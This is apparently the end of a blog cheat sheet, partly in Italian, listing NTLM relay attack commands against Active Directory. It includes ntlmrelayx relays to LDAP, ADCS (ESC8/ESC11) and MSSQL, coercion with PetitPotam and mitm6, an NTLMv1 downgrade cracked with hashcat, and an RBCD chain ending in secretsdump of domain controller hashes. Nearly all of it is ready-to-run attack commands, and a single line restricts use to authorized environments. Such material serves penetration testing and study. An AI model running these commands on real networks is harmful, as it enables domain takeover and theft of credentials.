sudo ntlmrelayx.py -t ldaps://DC_IP -smb2support --delegate-access -6  # RBCD
sudo ntlmrelayx.py -t ldaps://DC_IP -smb2support \
  --shadow-credentials --shadow-target 'HOST$'               # Shadow Creds
sudo ntlmrelayx.py -t ldap://DC_IP -smb2support --dump-laps
sudo ntlmrelayx.py -t ldap://DC_IP -smb2support --dump-gmsa

# === ESC8 ===
sudo ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp \
  --adcs --template DomainController -smb2support
certipy auth -pfx dc01.pfx -dc-ip DC_IP
impacket-secretsdump -k -no-pass -just-dc-ntlm corp.local/'DC01$'@DC_IP

# === ESC11 (RPC relay) ===
certipy find -u user@corp.local -p pass -dc-ip DC_IP -stdout | grep -i enforce
sudo ntlmrelayx.py -t rpc://CA_IP -smb2support --adcs --template DomainController
certipy auth -pfx dc01.pfx -dc-ip DC_IP
impacket-secretsdump -k -no-pass -just-dc-ntlm corp.local/'DC01$'@DC_IP

# === LDAP ESCALATE USER ===
sudo ntlmrelayx.py -t ldap://DC_IP -smb2support --escalate-user john.doe

# === WEBDAV → LDAPS (SMB signing ovunque) ===
nxc smb 10.10.10.0/24 -u user -p pass -M webdav
sudo ntlmrelayx.py -t ldaps://DC_IP --delegate-access --http-port 80 -smb2support
python3 PetitPotam.py -u user -p pass -d corp.local 10.10.14.1@80/test WS01_IP

# === NTLMv1 DOWNGRADE + CRACK ===
# In Responder.conf → Challenge = 1122334455667788
sudo responder -I eth0 -rdwv --lm
hashcat -m 5500 hashes.txt /usr/share/wordlists/rockyou.txt

# === MSSQL ===
sudo ntlmrelayx.py -t mssql://SQL_IP -smb2support -socks
proxychains impacket-mssqlclient -no-pass -windows-auth corp.local/admin@SQL_IP

# === IPv6 (mitm6) ===
sudo mitm6 -d corp.local -i eth0
sudo ntlmrelayx.py -6 -t ldaps://DC_IP --delegate-access -smb2support

# === RBCD CHAIN COMPLETA ===
# 1. ntlmrelayx --delegate-access → XEWRIYIH$ con password
# 2. impacket-getST -spn cifs/TARGET.corp.local -impersonate Administrator \
#      -dc-ip DC_IP corp.local/'XEWRIYIH$':'pass'
# 3. export KRB5CCNAME=Administrator.ccache
# 4. impacket-secretsdump -k -no-pass -just-dc corp.local/Administrator@DC_IP

Related articles:

For use in authorized environments only.

#impacket #ntlm-relay #active-directory #windows

#ntlmrelayx #smb relay #responderNTLM #relay attack Active Directory 2026

leave a message

I'm not a robot